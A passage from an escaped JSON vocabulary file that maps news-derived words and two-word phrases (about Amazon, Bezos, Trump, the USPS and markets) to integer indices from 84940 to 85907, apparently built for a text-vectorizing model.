84940,\n  \"earnings statement\": 84941,\n  \"source today\": 84942,\n  \"birthdays looking\": 84943,\n  \"despite direct\": 84944,\n  \"bear head\": 84945,\n  \"circumvent\": 84946,\n  \"ties post\": 84947,\n  \"god king\": 84948,\n  \"firms google\": 84949,\n  \"companies stocks\": 84950,\n  \"ample fodder\": 84951,\n  \"economy\": 84952,\n  \"policies fox\": 84953,\n  \"owns washingtonpost\": 84954,\n  \"real stuff\": 84955,\n  \"critiqued specific\": 84956,\n  \"trump record\": 84957,\n  \"vlastelica china\": 84958,\n  \"2018 close\": 84959,\n  \"dunk\": 84960,\n  \"force commerce\": 84961,\n  \"picks moore\": 84962,\n  \"overseas refugee\": 84963,\n  \"involving major\": 84964,\n  \"trying maybe\": 84965,\n  \"cosmetics tools\": 84966,\n  \"area set\": 84967,\n  \"stopped subsidizing\": 84968,\n  \"nolan talented\": 84969,\n  \"fraud scandal\": 84970,\n  \"2811938\": 84971,\n  \"signed 150\": 84972,\n  \"stand trump\": 84973,\n  \"posting happy\": 84974,\n  \"strip sears\": 84975,\n  \"administration takes\": 84976,\n  \"6bn\": 84977,\n  \"added benefit\": 84978,\n  \"new neighbors\": 84979,\n  \"lenovo tumbles\": 84980,\n  \"k4e setinterval\": 84981,\n  \"recently marked\": 84982,\n  \"polite\": 84983,\n  \"knock bezos\": 84984,\n  \"families pay\": 84985,\n  \"features somber\": 84986,\n  \"partner history\": 84987,\n  \"new version\": 84988,\n  \"adopts new\": 84989,\n  \"computer tablet\": 84990,\n  \"numerous hot\": 84991,\n  \"providing customer\": 84992,\n  \"advocate candidate\": 84993,\n  \"loadedfully true\": 84994,\n  \"2017 correspondence\": 84995,\n  \"apoplectic\": 84996,\n  \"amazon ring\": 84997,\n  \"webster groups\": 84998,\n  \"federal courts\": 84999,\n  \"today track\": 85000,\n  \"inflammatory\": 85001,\n  \"hasan minhaj\": 85002,\n  \"unpaid commissions\": 85003,\n  \"ultimate intentions\": 85004,\n  \"owned lobbyist\": 85005,\n  \"story consumer\": 85006,\n  \"class population\": 85007,\n  \"msnbc hosts\": 85008,\n  \"military constructionaccounts\": 85009,\n  \"lockheed\": 85010,\n  \"north wales\": 85011,\n  \"decades old\": 85012,\n  \"built today\": 85013,\n  \"kennedy stephen\": 85014,\n  \"aniston recode\": 85015,\n  \"banks started\": 85016,\n  \"liberals alike\": 85017,\n  \"customer orders\": 85018,\n  \"sock\": 85019,\n  \"cyberx\": 85020,\n  \"eroding protections\": 85021,\n  \"divide oversight\": 85022,\n  \"800 residents\": 85023,\n  \"groups opposed\": 85024,\n  \"email engagement\": 85025,\n  \"latest tweet\": 85026,\n  \"decibels normal\": 85027,\n  \"malek film\": 85028,\n  \"silence voices\": 85029,\n  \"situation think\": 85030,\n  \"develop risk\": 85031,\n  \"zone designation\": 85032,\n  \"future attitude\": 85033,\n  \"trump slogan\": 85034,\n  \"meager job\": 85035,\n  \"comcast routinely\": 85036,\n  \"addition face\": 85037,\n  \"firms brennan\": 85038,\n  \"whiners\": 85039,\n  \"humbug holidays\": 85040,\n  \"lengthy promotion\": 85041,\n  \"multiple sources\": 85042,\n  \"677dp3p5tenxgcpb032d\": 85043,\n  \"pool parties\": 85044,\n  \"laughs just\": 85045,\n  \"techcrunch\": 85046,\n  \"racked\": 85047,\n  \"virginia won\": 85048,\n  \"sparked questions\": 85049,\n  \"writes cdp\": 85050,\n  \"tooth yesterday\": 85051,\n  \"news jerry\": 85052,\n  \"kearney executive\": 85053,\n  \"overzicht voor\": 85054,\n  \"quit iran\": 85055,\n  \"2002 film\": 85056,\n  \"time saudi\": 85057,\n  \"bring key\": 85058,\n  \"eliminated\": 85059,\n  \"latest details\": 85060,\n  \"tom brokaw\": 85061,\n  \"white elephant\": 85062,\n  \"ulurp\": 85063,\n  \"south asia\": 85064,\n  \"job demand\": 85065,\n  \"began waging\": 85066,\n  \"isn say\": 85067,\n  \"completed client\": 85068,\n  \"treasure hunt\": 85069,\n  \"bigger batch\": 85070,\n  \"daniel morgan\": 85071,\n  \"steeper increase\": 85072,\n  \"entertainment venue\": 85073,\n  \"hcx3zuhjoa\": 85074,\n  \"dioxide shortage\": 85075,\n  \"farr yes\": 85076,\n  \"mccain ariz\": 85077,\n  \"compatible monitor\": 85078,\n  \"government services\": 85079,\n  \"practiced based\": 85080,\n  \"internet traffic\": 85081,\n  \"train derails\": 85082,\n  \"venezuela according\": 85083,\n  \"negotiations instead\": 85084,\n  \"local products\": 85085,\n  \"circuit court\": 85086,\n  \"corporate took\": 85087,\n  \"young renters\": 85088,\n  \"gross merchandise\": 85089,\n  \"neos 2018\": 85090,\n  \"george ivanka\": 85091,\n  \"changing regulation\": 85092,\n  \"people attention\": 85093,\n  \"usefulness\": 85094,\n  \"projected growth\": 85095,\n  \"ranking stands\": 85096,\n  \"smoke clears\": 85097,\n  \"partner software\": 85098,\n  \"2f9 2f13\": 85099,\n  \"sam gordy\": 85100,\n  \"later lockheed\": 85101,\n  \"news tunisia\": 85102,\n  \"michaelmc5117\": 85103,\n  \"virginia credit\": 85104,\n  \"backs\": 85105,\n  \"hussein\": 85106,\n  \"leverage politics\": 85107,\n  \"obtain incriminating\": 85108,\n  \"responsibilities led\": 85109,\n  \"life truth\": 85110,\n  \"mortals\": 85111,\n  \"transportation just\": 85112,\n  \"var b7a\": 85113,\n  \"ross perry\": 85114,\n  \"sedition acts\": 85115,\n  \"blue ribbon\": 85116,\n  \"fellow republicans\": 85117,\n  \"company fired\": 85118,\n  \"sound recongnition\": 85119,\n  \"final grade\": 85120,\n  \"diginomica team\": 85121,\n  \"outlets reported\": 85122,\n  \"offshore tax\": 85123,\n  \"uqtam5jevw\": 85124,\n  \"everybody know\": 85125,\n  \"stories cast\": 85126,\n  \"gnrc\": 85127,\n  \"rq\": 85128,\n  \"emmanuel macron\": 85129,\n  \"beer\": 85130,\n  \"kappafrik\": 85131,\n  \"employees getting\": 85132,\n  \"acne products\": 85133,\n  \"davis right\": 85134,\n  \"gm public\": 85135,\n  \"assassinating syrian\": 85136,\n  \"choir rehearse\": 85137,\n  \"upscale motorcycle\": 85138,\n  \"groupthink\": 85139,\n  \"knack\": 85140,\n  \"study waves\": 85141,\n  \"cabinet\": 85142,\n  \"lutes\": 85143,\n  \"abilities did\": 85144,\n  \"focus personally\": 85145,\n  \"married\": 85146,\n  \"1992 case\": 85147,\n  \"disputed summaries\": 85148,\n  \"lyons jay\": 85149,\n  \"fb herera\": 85150,\n  \"lawmakers wrote\": 85151,\n  \"dollars occasionally\": 85152,\n  \"women owned\": 85153,\n  \"itt thing\": 85154,\n  \"anticipated data\": 85155,\n  \"want attorney\": 85156,\n  \"report robert\": 85157,\n  \"facing appropriate\": 85158,\n  \"old abortion\": 85159,\n  \"charge rod\": 85160,\n  \"nation 2019\": 85161,\n  \"requiring employees\": 85162,\n  \"start innovating\": 85163,\n  \"quoting cfra\": 85164,\n  \"govcloud region\": 85165,\n  \"kiss daisy\": 85166,\n  \"luther pike\": 85167,\n  \"having hard\": 85168,\n  \"whoa really\": 85169,\n  \"bent\": 85170,\n  \"order earlier\": 85171,\n  \"barack\": 85172,\n  \"agencies mentioned\": 85173,\n  \"draft executive\": 85174,\n  \"agoraphobia\": 85175,\n  \"hal brands\": 85176,\n  \"innocent compared\": 85177,\n  \"cnn jake\": 85178,\n  \"frank conversations\": 85179,\n  \"staged walkout\": 85180,\n  \"llazar\": 85181,\n  \"trump regime\": 85182,\n  \"sen christopher\": 85183,\n  \"mind eye\": 85184,\n  \"ho\": 85185,\n  \"technologies scs\": 85186,\n  \"25thamendment\": 85187,\n  \"disease deaths\": 85188,\n  \"america internet\": 85189,\n  \"streaming company\": 85190,\n  \"kids customize\": 85191,\n  \"news getty\": 85192,\n  \"table phil\": 85193,\n  \"campaign aides\": 85194,\n  \"625\": 85195,\n  \"daniels payment\": 85196,\n  \"grow amazon\": 85197,\n  \"anonymous fbzlgr\": 85198,\n  \"changes patch\": 85199,\n  \"reported bezos\": 85200,\n  \"dollar indexrose\": 85201,\n  \"diarmaid macculloch\": 85202,\n  \"whatsoever\": 85203,\n  \"chinatown washington\": 85204,\n  \"cures twitter\": 85205,\n  \"usps distribution\": 85206,\n  \"urges\": 85207,\n  \"area dark\": 85208,\n  \"longer matters\": 85209,\n  \"financial foundations\": 85210,\n  \"litter\": 85211,\n  \"media justice\": 85212,\n  \"eighth year\": 85213,\n  \"airport wearing\": 85214,\n  \"doorn 415\": 85215,\n  \"instagram storyteller\": 85216,\n  \"heads carpal\": 85217,\n  \"integrating number\": 85218,\n  \"camps lack\": 85219,\n  \"regularly authorize\": 85220,\n  \"amazon consultants\": 85221,\n  \"just identified\": 85222,\n  \"generously offering\": 85223,\n  \"justices barbara\": 85224,\n  \"contract\": 85225,\n  \"verify\": 85226,\n  \"woodward\": 85227,\n  \"saint denis\": 85228,\n  \"giving prominent\": 85229,\n  \"nice story\": 85230,\n  \"scrutiny regulators\": 85231,\n  \"conscience destroying\": 85232,\n  \"delong nintendo\": 85233,\n  \"a4ee o1\": 85234,\n  \"target vulnerable\": 85235,\n  \"sofi\": 85236,\n  \"city bus\": 85237,\n  \"booze continues\": 85238,\n  \"therapy services\": 85239,\n  \"aide cliff\": 85240,\n  \"deliver higher\": 85241,\n  \"washers dryers\": 85242,\n  \"investigations criticism\": 85243,\n  \"vulgar sentiment\": 85244,\n  \"megan eckstein\": 85245,\n  \"1994 bezos\": 85246,\n  \"cetera\": 85247,\n  \"gaming cowen\": 85248,\n  \"toronto submitted\": 85249,\n  \"count heads\": 85250,\n  \"purported\": 85251,\n  \"costco stores\": 85252,\n  \"goods brought\": 85253,\n  \"nazi anti\": 85254,\n  \"congresswoman tells\": 85255,\n  \"consumers delrahim\": 85256,\n  \"atul gawande\": 85257,\n  \"t8 c2x\": 85258,\n  \"bankrupt kind\": 85259,\n  \"2018 nyse\": 85260,\n  \"iterative customer\": 85261,\n  \"rates\": 85262,\n  \"postal fees\": 85263,\n  \"headlineplaintext ros\\u00e9\": 85264,\n  \"media reporter\": 85265,\n  \"utilities commission\": 85266,\n  \"jillian ward\": 85267,\n  \"device subscribe\": 85268,\n  \"graph statista\": 85269,\n  \"enquirer printed\": 85270,\n  \"care study\": 85271,\n  \"fistful\": 85272,\n  \"temerity\": 85273,\n  \"handbag lines\": 85274,\n  \"aims\": 85275,\n  \"says jolley\": 85276,\n  \"continued rapid\": 85277,\n  \"month deputies\": 85278,\n  \"rescue raccoon\": 85279,\n  \"commerce department\": 85280,\n  \"land occupied\": 85281,\n  \"best sun\": 85282,\n  \"hr training\": 85283,\n  \"needs students\": 85284,\n  \"amazon quarter\": 85285,\n  \"wilderness\": 85286,\n  \"1150x540 635x367\": 85287,\n  \"nasa effects\": 85288,\n  \"model imposed\": 85289,\n  \"term material\": 85290,\n  \"time hanukkah\": 85291,\n  \"partners management\": 85292,\n  \"start winning\": 85293,\n  \"amphibs\": 85294,\n  \"founder larry\": 85295,\n  \"remember thinking\": 85296,\n  \"doesn collect\": 85297,\n  \"fully exhausted\": 85298,\n  \"000 model\": 85299,\n  \"ago loading\": 85300,\n  \"immediate influx\": 85301,\n  \"mortgage declined\": 85302,\n  \"gulftimes trade\": 85303,\n  \"wrapping paper\": 85304,\n  \"stores blueprint\": 85305,\n  \"handicrafts\": 85306,\n  \"weeks yesterday\": 85307,\n  \"allegedly dated\": 85308,\n  \"metropolitan statistical\": 85309,\n  \"tussaud wax\": 85310,\n  \"amid surging\": 85311,\n  \"services isn\": 85312,\n  \"target especially\": 85313,\n  \"jedi joint\": 85314,\n  \"payback time\": 85315,\n  \"hired consultant\": 85316,\n  \"popular demand\": 85317,\n  \"frum source\": 85318,\n  \"house losses\": 85319,\n  \"guber candidate\": 85320,\n  \"tough profession\": 85321,\n  \"future commerce\": 85322,\n  \"couldn bring\": 85323,\n  \"presidential powers\": 85324,\n  \"ceo chip\": 85325,\n  \"day verdict\": 85326,\n  \"billion slightly\": 85327,\n  \"corporate player\": 85328,\n  \"time reality\": 85329,\n  \"michael rutger\": 85330,\n  \"colluded\": 85331,\n  \"commercial dedicated\": 85332,\n  \"publisher buys\": 85333,\n  \"supply community\": 85334,\n  \"data program\": 85335,\n  \"cnbc mad\": 85336,\n  \"fraud probe\": 85337,\n  \"negotiators agreed\": 85338,\n  \"continued safe\": 85339,\n  \"enormous amounts\": 85340,\n  \"junk\": 85341,\n  \"firsthand\": 85342,\n  \"earnings dow\": 85343,\n  \"apps tend\": 85344,\n  \"utf task\": 85345,\n  \"broadcasting group\": 85346,\n  \"civil war\": 85347,\n  \"shifting creatures\": 85348,\n  \"shot yang\": 85349,\n  \"adieu\": 85350,\n  \"cementing\": 85351,\n  \"index report\": 85352,\n  \"don expect\": 85353,\n  \"assistant program\": 85354,\n  \"arboretum cycle\": 85355,\n  \"seattle dad\": 85356,\n  \"promised safety\": 85357,\n  \"consultant temin\": 85358,\n  \"key investing\": 85359,\n  \"billion second\": 85360,\n  \"canada parts\": 85361,\n  \"helen kennedy\": 85362,\n  \"fbi criminal\": 85363,\n  \"make china\": 85364,\n  \"khalfani\": 85365,\n  \"volume discounts\": 85366,\n  \"trump 8217\": 85367,\n  \"nepalese wonderkid\": 85368,\n  \"metals plastics\": 85369,\n  \"really mean\": 85370,\n  \"jschapiro timesdispatch\": 85371,\n  \"limp retail\": 85372,\n  \"just politicians\": 85373,\n  \"pacs ramp\": 85374,\n  \"anger disgraced\": 85375,\n  \"celeste ng\": 85376,\n  \"don emmert\": 85377,\n  \"tat\": 85378,\n  \"award multi\": 85379,\n  \"joint strike\": 85380,\n  \"washing\": 85381,\n  \"begins today\": 85382,\n  \"including tax\": 85383,\n  \"sure yes\": 85384,\n  \"190306\": 85385,\n  \"drones delivering\": 85386,\n  \"just buy\": 85387,\n  \"usps competitive\": 85388,\n  \"money insurers\": 85389,\n  \"entrepreneurs anna\": 85390,\n  \"seconds california\": 85391,\n  \"aurora\": 85392,\n  \"common trait\": 85393,\n  \"blessington marketing\": 85394,\n  \"enact reforms\": 85395,\n  \"government service\": 85396,\n  \"guardian new\": 85397,\n  \"forthcoming amazon\": 85398,\n  \"lower\": 85399,\n  \"mobile operating\": 85400,\n  \"student attorneys\": 85401,\n  \"meaningfully address\": 85402,\n  \"home comprises\": 85403,\n  \"amazon merch\": 85404,\n  \"biggest fans\": 85405,\n  \"metaphorical\": 85406,\n  \"conversation man\": 85407,\n  \"custody officials\": 85408,\n  \"username\": 85409,\n  \"catalyse\": 85410,\n  \"trump rejected\": 85411,\n  \"family donated\": 85412,\n  \"meet judge\": 85413,\n  \"restaurant new\": 85414,\n  \"sales realme\": 85415,\n  \"course owns\": 85416,\n  \"partners bloomberg\": 85417,\n  \"warren proposes\": 85418,\n  \"terrible tragedy\": 85419,\n  \"current contracting\": 85420,\n  \"aggressively marketed\": 85421,\n  \"big hits\": 85422,\n  \"titles\": 85423,\n  \"groups argued\": 85424,\n  \"federal oversight\": 85425,\n  \"getting scrutinized\": 85426,\n  \"bids millions\": 85427,\n  \"sanchez postmedia\": 85428,\n  \"enquirer minutes\": 85429,\n  \"liberal state\": 85430,\n  \"amazon ambitions\": 85431,\n  \"apart large\": 85432,\n  \"characteristics\": 85433,\n  \"bid provider\": 85434,\n  \"2018 piece\": 85435,\n  \"unsatisfactory\": 85436,\n  \"covfefe\": 85437,\n  \"selling limited\": 85438,\n  \"mediocre\": 85439,\n  \"morally\": 85440,\n  \"aggressive 132\": 85441,\n  \"noble bestseller\": 85442,\n  \"districts democrats\": 85443,\n  \"lower reuters\": 85444,\n  \"latest legislation\": 85445,\n  \"trump upcoming\": 85446,\n  \"comedic efforts\": 85447,\n  \"wing folks\": 85448,\n  \"world trade\": 85449,\n  \"post recent\": 85450,\n  \"helped president\": 85451,\n  \"food items\": 85452,\n  \"residents\": 85453,\n  \"meetings pictures\": 85454,\n  \"g0ts6yvqf9 donald\": 85455,\n  \"wba ibo\": 85456,\n  \"effect\": 85457,\n  \"surveillance tools\": 85458,\n  \"killing commandatore\": 85459,\n  \"mark hurd\": 85460,\n  \"mlb weekly\": 85461,\n  \"lines ross\": 85462,\n  \"kidman blossom\": 85463,\n  \"hbo content\": 85464,\n  \"facing lawsuit\": 85465,\n  \"sue chang\": 85466,\n  \"naval vessel\": 85467,\n  \"bells\": 85468,\n  \"records\": 85469,\n  \"operational efficiency\": 85470,\n  \"italy france\": 85471,\n  \"major digital\": 85472,\n  \"retract\": 85473,\n  \"mid month\": 85474,\n  \"privacy breaches\": 85475,\n  \"fortune nearly\": 85476,\n  \"including loading\": 85477,\n  \"cites decline\": 85478,\n  \"parkland high\": 85479,\n  \"month walked\": 85480,\n  \"fewer taxpayers\": 85481,\n  \"cleverly tweeted\": 85482,\n  \"market tends\": 85483,\n  \"takes citizen\": 85484,\n  \"congratulates republican\": 85485,\n  \"story isn\": 85486,\n  \"cinema queen\": 85487,\n  \"instability washing\": 85488,\n  \"marine corps\": 85489,\n  \"raise funds\": 85490,\n  \"jack kemp\": 85491,\n  \"previous years\": 85492,\n  \"tabloid national\": 85493,\n  \"presidency focuses\": 85494,\n  \"rob goldstone\": 85495,\n  \"jewish wing\": 85496,\n  \"delicate relationship\": 85497,\n  \"customer puppy\": 85498,\n  \"ddouglaston nys\": 85499,\n  \"sabres host\": 85500,\n  \"authorized maga\": 85501,\n  \"proposed putting\": 85502,\n  \"mall owner\": 85503,\n  \"gary indiana\": 85504,\n  \"time burst\": 85505,\n  \"wascompletely complicit\": 85506,\n  \"having broader\": 85507,\n  \"sales team\": 85508,\n  \"yang responded\": 85509,\n  \"neighborhood pushback\": 85510,\n  \"trump enraged\": 85511,\n  \"yelled referring\": 85512,\n  \"virginia washington\": 85513,\n  \"bergh view\": 85514,\n  \"hikes fed\": 85515,\n  \"questioner wanted\": 85516,\n  \"good point\": 85517,\n  \"blasio immediately\": 85518,\n  \"wellington did\": 85519,\n  \"editorname\": 85520,\n  \"paranormal amid\": 85521,\n  \"immediately implement\": 85522,\n  \"fda ongoing\": 85523,\n  \"150bn making\": 85524,\n  \"magazine american\": 85525,\n  \"arts entertainment\": 85526,\n  \"investor says\": 85527,\n  \"laws prevent\": 85528,\n  \"slideshow\": 85529,\n  \"product market\": 85530,\n  \"amazon salt\": 85531,\n  \"speaker series\": 85532,\n  \"anxiety naz\": 85533,\n  \"week becker\": 85534,\n  \"files defending_the_one_percent_1\": 85535,\n  \"ago vitalhub\": 85536,\n  \"amid grim\": 85537,\n  \"deferred action\": 85538,\n  \"critic president\": 85539,\n  \"arabia national\": 85540,\n  \"presse\": 85541,\n  \"amzn expects\": 85542,\n  \"collecting priorities\": 85543,\n  \"created aids\": 85544,\n  \"fast perp\": 85545,\n  \"people moving\": 85546,\n  \"loyal\": 85547,\n  \"america yahoo\": 85548,\n  \"ice palantir\": 85549,\n  \"investors expect\": 85550,\n  \"multinational company\": 85551,\n  \"demanded rectification\": 85552,\n  \"961 shares\": 85553,\n  \"tour guide\": 85554,\n  \"stolen trade\": 85555,\n  \"staggering growth\": 85556,\n  \"providing evidence\": 85557,\n  \"positive development\": 85558,\n  \"hideous ool\": 85559,\n  \"expected clip\": 85560,\n  \"tumors\": 85561,\n  \"morning network\": 85562,\n  \"deal quantity\": 85563,\n  \"prongay murray\": 85564,\n  \"roused\": 85565,\n  \"new benedict\": 85566,\n  \"elissa taub\": 85567,\n  \"racy texts\": 85568,\n  \"licensing agreements\": 85569,\n  \"including storied\": 85570,\n  \"tolling design\": 85571,\n  \"tech concerns\": 85572,\n  \"literary star\": 85573,\n  \"scandal amazon\": 85574,\n  \"regular relationships\": 85575,\n  \"scaling direct\": 85576,\n  \"tv court\": 85577,\n  \"seuss green\": 85578,\n  \"think yo\": 85579,\n  \"financial expert\": 85580,\n  \"embryonic lung\": 85581,\n  \"feeling right\": 85582,\n  \"complex half\": 85583,\n  \"kraft heinz\": 85584,\n  \"rightwing\": 85585,\n  \"immiserating policies\": 85586,\n  \"presence announced\": 85587,\n  \"verified clean\": 85588,\n  \"mission impossible\": 85589,\n  \"actress paired\": 85590,\n  \"sure wall\": 85591,\n  \"write letter\": 85592,\n  \"punish company\": 85593,\n  \"country position\": 85594,\n  \"walmart tesla\": 85595,\n  \"themes artifice\": 85596,\n  \"ire brazil\": 85597,\n  \"congress appears\": 85598,\n  \"fixed spot\": 85599,\n  \"levying tariffs\": 85600,\n  \"center aug\": 85601,\n  \"advertising ag\": 85602,\n  \"win military\": 85603,\n  \"introduced tariffs\": 85604,\n  \"tech robber\": 85605,\n  \"amazon risked\": 85606,\n  \"widely recounted\": 85607,\n  \"advanced driver\": 85608,\n  \"employees union\": 85609,\n  \"prosaic\": 85610,\n  \"expand east\": 85611,\n  \"oil division\": 85612,\n  \"watch kate\": 85613,\n  \"united\": 85614,\n  \"isn equipped\": 85615,\n  \"founding dean\": 85616,\n  \"increasingly willing\": 85617,\n  \"truthers shariah\": 85618,\n  \"shit\": 85619,\n  \"sword\": 85620,\n  \"sapling\": 85621,\n  \"want freedom\": 85622,\n  \"appears ron\": 85623,\n  \"team thinks\": 85624,\n  \"domestic spying\": 85625,\n  \"getty\": 85626,\n  \"zinke won\": 85627,\n  \"paul allen\": 85628,\n  \"thinkrolls photo\": 85629,\n  \"2001\": 85630,\n  \"photo mijente\": 85631,\n  \"publishing graphic\": 85632,\n  \"friends talk\": 85633,\n  \"taylor crouched\": 85634,\n  \"jousting\": 85635,\n  \"closed hundreds\": 85636,\n  \"visuals\": 85637,\n  \"run thousands\": 85638,\n  \"owns rocketship\": 85639,\n  \"reconsiders\": 85640,\n  \"steve womack\": 85641,\n  \"endured\": 85642,\n  \"adviser steve\": 85643,\n  \"highest number\": 85644,\n  \"2018 elizabeth\": 85645,\n  \"shouting\": 85646,\n  \"eps forecast\": 85647,\n  \"david webb\": 85648,\n  \"stanley says\": 85649,\n  \"extant\": 85650,\n  \"accusing google\": 85651,\n  \"nationalistic\": 85652,\n  \"launch precursor\": 85653,\n  \"nations environmental\": 85654,\n  \"larry interviews\": 85655,\n  \"reported 064\": 85656,\n  \"outpouring\": 85657,\n  \"tantrums\": 85658,\n  \"eclipse\": 85659,\n  \"rainey\": 85660,\n  \"pupil signed\": 85661,\n  \"politics 2019\": 85662,\n  \"thought 2018\": 85663,\n  \"crowd mean\": 85664,\n  \"lazarus\": 85665,\n  \"fucking thing\": 85666,\n  \"amazon patronizing\": 85667,\n  \"credit twitter\": 85668,\n  \"faked obama\": 85669,\n  \"asshole grinch\": 85670,\n  \"turkey news\": 85671,\n  \"granted waivers\": 85672,\n  \"prepaid\": 85673,\n  \"drew media\": 85674,\n  \"locating\": 85675,\n  \"abboud\": 85676,\n  \"twitterian revealed\": 85677,\n  \"objectionable police\": 85678,\n  \"appointments related\": 85679,\n  \"munger comments\": 85680,\n  \"delivering parcels\": 85681,\n  \"mankiw\": 85682,\n  \"fiscal conservatives\": 85683,\n  \"reports self\": 85684,\n  \"idea employees\": 85685,\n  \"recent research\": 85686,\n  \"statements rice\": 85687,\n  \"la\": 85688,\n  \"union retaliatory\": 85689,\n  \"organizations exempt\": 85690,\n  \"automated profile\": 85691,\n  \"cows\": 85692,\n  \"split historically\": 85693,\n  \"burnadette norris\": 85694,\n  \"recent softening\": 85695,\n  \"school send\": 85696,\n  \"chinese law\": 85697,\n  \"utilis\": 85698,\n  \"694 shares\": 85699,\n  \"albawaba\": 85700,\n  \"hate crime\": 85701,\n  \"crn\": 85702,\n  \"potty\": 85703,\n  \"mccain shout\": 85704,\n  \"caterpillar lagged\": 85705,\n  \"leaders talking\": 85706,\n  \"caption president\": 85707,\n  \"williams inside\": 85708,\n  \"capitalist greg\": 85709,\n  \"twitter despite\": 85710,\n  \"incumbent city\": 85711,\n  \"physicians stay\": 85712,\n  \"corporate hbi\": 85713,\n  \"jobs based\": 85714,\n  \"trek\": 85715,\n  \"vividly\": 85716,\n  \"brighter small\": 85717,\n  \"parts ___\": 85718,\n  \"placing stalwart\": 85719,\n  \"upshot\": 85720,\n  \"monetizing data\": 85721,\n  \"projected large\": 85722,\n  \"evelyn emily\": 85723,\n  \"exploring antitrust\": 85724,\n  \"arboretum\": 85725,\n  \"parliament elections\": 85726,\n  \"bolton 179\": 85727,\n  \"lobbying\": 85728,\n  \"video addressing\": 85729,\n  \"time sponsor\": 85730,\n  \"email cchurchill\": 85731,\n  \"investigate potentially\": 85732,\n  \"addressed amazon\": 85733,\n  \"apologizes\": 85734,\n  \"bringing experience\": 85735,\n  \"marr\": 85736,\n  \"giant plan\": 85737,\n  \"emaciated\": 85738,\n  \"horton nyse\": 85739,\n  \"year doubled\": 85740,\n  \"a4ee n0\": 85741,\n  \"reports amazon\": 85742,\n  \"fact president\": 85743,\n  \"drug maker\": 85744,\n  \"tejal rao\": 85745,\n  \"price allowing\": 85746,\n  \"leaders beat\": 85747,\n  \"summit final\": 85748,\n  \"2m\": 85749,\n  \"estimates\": 85750,\n  \"york cnn\": 85751,\n  \"bezos annihilated\": 85752,\n  \"secure votes\": 85753,\n  \"extreme tariffs\": 85754,\n  \"wing disinformation\": 85755,\n  \"extremely disappointed\": 85756,\n  \"o2x m8\": 85757,\n  \"econlib org\": 85758,\n  \"current situation\": 85759,\n  \"upcoming year\": 85760,\n  \"morsels walmart\": 85761,\n  \"nafta\": 85762,\n  \"theroux star\": 85763,\n  \"chrysler fortune\": 85764,\n  \"selling products\": 85765,\n  \"air travel\": 85766,\n  \"divided house\": 85767,\n  \"tweeted images\": 85768,\n  \"healing powers\": 85769,\n  \"sr_1_5\": 85770,\n  \"eric king\": 85771,\n  \"won stand\": 85772,\n  \"google multi\": 85773,\n  \"favorite phrase\": 85774,\n  \"warring sides\": 85775,\n  \"bruce greenwood\": 85776,\n  \"including retail\": 85777,\n  \"surrendering world\": 85778,\n  \"family attend\": 85779,\n  \"estimates majority\": 85780,\n  \"kuba\": 85781,\n  \"mark souder\": 85782,\n  \"delivery time\": 85783,\n  \"catch q4\": 85784,\n  \"public land\": 85785,\n  \"starts early\": 85786,\n  \"discourage fake\": 85787,\n  \"ceo similarly\": 85788,\n  \"community protests\": 85789,\n  \"collusion donald\": 85790,\n  \"zdnet\": 85791,\n  \"offsets\": 85792,\n  \"government delivered\": 85793,\n  \"ex twins\": 85794,\n  \"jolie\": 85795,\n  \"unlawful counterfeit\": 85796,\n  \"physique selfie\": 85797,\n  \"fined close\": 85798,\n  \"mocked florida\": 85799,\n  \"message arrives\": 85800,\n  \"disclosure policy\": 85801,\n  \"mehlman leading\": 85802,\n  \"consolation\": 85803,\n  \"aside harry\": 85804,\n  \"shares ubs\": 85805,\n  \"alert nope\": 85806,\n  \"lp domo\": 85807,\n  \"lyrics assert\": 85808,\n  \"winter storm\": 85809,\n  \"caa\": 85810,\n  \"bezos aerospace\": 85811,\n  \"barometer\": 85812,\n  \"smartphone\": 85813,\n  \"best values\": 85814,\n  \"fidelity says\": 85815,\n  \"stark disapproval\": 85816,\n  \"existing strong\": 85817,\n  \"look ahead\": 85818,\n  \"law amazon\": 85819,\n  \"john avion\": 85820,\n  \"sticking point\": 85821,\n  \"politicians oppose\": 85822,\n  \"ari\": 85823,\n  \"middle school\": 85824,\n  \"used phony\": 85825,\n  \"citing urbanization\": 85826,\n  \"judicial scholars\": 85827,\n  \"outraged little\": 85828,\n  \"canadian imperial\": 85829,\n  \"small medium\": 85830,\n  \"comprising\": 85831,\n  \"ranger store\": 85832,\n  \"maryland sues\": 85833,\n  \"actually doing\": 85834,\n  \"cnbc jeff\": 85835,\n  \"trough\": 85836,\n  \"allegations new\": 85837,\n  \"clothes gadgets\": 85838,\n  \"tonight best\": 85839,\n  \"evade sales\": 85840,\n  \"government needs\": 85841,\n  \"bezos visionary\": 85842,\n  \"test run\": 85843,\n  \"nook library\": 85844,\n  \"exposed voter\": 85845,\n  \"sneaky\": 85846,\n  \"exchange suggests\": 85847,\n  \"yap yap\": 85848,\n  \"ruined farmland\": 85849,\n  \"chopra office\": 85850,\n  \"video posted\": 85851,\n  \"church fires\": 85852,\n  \"excellent greer\": 85853,\n  \"unconstrained\": 85854,\n  \"reached bargain\": 85855,\n  \"incredibles\": 85856,\n  \"union billion\": 85857,\n  \"read jpmorgan\": 85858,\n  \"2017 usps\": 85859,\n  \"used sports\": 85860,\n  \"foreign goods\": 85861,\n  \"tackling\": 85862,\n  \"\\u014241billion charitable\": 85863,\n  \"cinema chains\": 85864,\n  \"descriptiontext experiential\": 85865,\n  \"tohost amazon\": 85866,\n  \"queens long\": 85867,\n  \"balky knees\": 85868,\n  \"wont\": 85869,\n  \"unfairly\": 85870,\n  \"wealth estimate\": 85871,\n  \"need stronger\": 85872,\n  \"activists\": 85873,\n  \"seen stacked\": 85874,\n  \"play major\": 85875,\n  \"bard\": 85876,\n  \"market performance\": 85877,\n  \"leaders received\": 85878,\n  \"divert usps\": 85879,\n  \"packages donald\": 85880,\n  \"halts rate\": 85881,\n  \"fidelity international\": 85882,\n  \"kingdom divorced\": 85883,\n  \"gartner l2\": 85884,\n  \"process displayed\": 85885,\n  \"activity vrtx\": 85886,\n  \"paying bulk\": 85887,\n  \"urban org\": 85888,\n  \"largest corporations\": 85889,\n  \"historical old\": 85890,\n  \"key reasons\": 85891,\n  \"uses plus\": 85892,\n  \"sundar pichai\": 85893,\n  \"2018 usps\": 85894,\n  \"rule making\": 85895,\n  \"greg\": 85896,\n  \"ami threats\": 85897,\n  \"onesies bore\": 85898,\n  \"reportedly wealthier\": 85899,\n  \"1548et\": 85900,\n  \"crime thriller\": 85901,\n  \"bannon telling\": 85902,\n  \"general augusto\": 85903,\n  \"years griffeth\": 85904,\n  \"american sitcom\": 85905,\n  \"biotech companies\": 85906,\n  \"google navigate\": 85907,\n  \"brkb investors\": 